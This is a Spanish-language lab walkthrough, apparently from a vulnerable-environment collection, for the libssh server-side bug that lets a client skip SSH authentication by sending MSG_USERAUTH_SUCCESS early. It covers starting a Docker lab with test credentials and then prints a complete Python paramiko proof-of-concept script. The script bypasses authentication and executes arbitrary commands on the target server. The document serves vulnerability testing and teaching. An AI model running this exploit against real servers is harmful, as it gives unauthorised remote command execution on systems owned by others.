
libssh es una librería C multiplataforma que implementa el protocolo SSHv2 tanto en el lado del cliente como del servidor. Se encontró una vulnerabilidad lógica en la máquina de estados del lado del servidor de libssh. El atacante puede enviar el mensaje MSG_USERAUTH_SUCCESS antes de que la autenticación tenga éxito. Esto puede omitir la autenticación y acceder al servidor SSH objetivo.
Referencias:
Inicie el entorno:
docker-compose up -d
Una vez que el entorno esté iniciado, podemos conectarnos al puerto your-ip:2222 (cuenta/contraseña: myuser:mypassword), que es un inicio de sesión SSH legítimo:

Haciendo referencia al PoC proporcionado en https://www.seebug.org/vuldb/ssvid-97614, podemos usar el siguiente script para probar la vulnerabilidad.
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
Puede ejecutar comandos arbitrarios en el servidor objetivo de la siguiente manera:
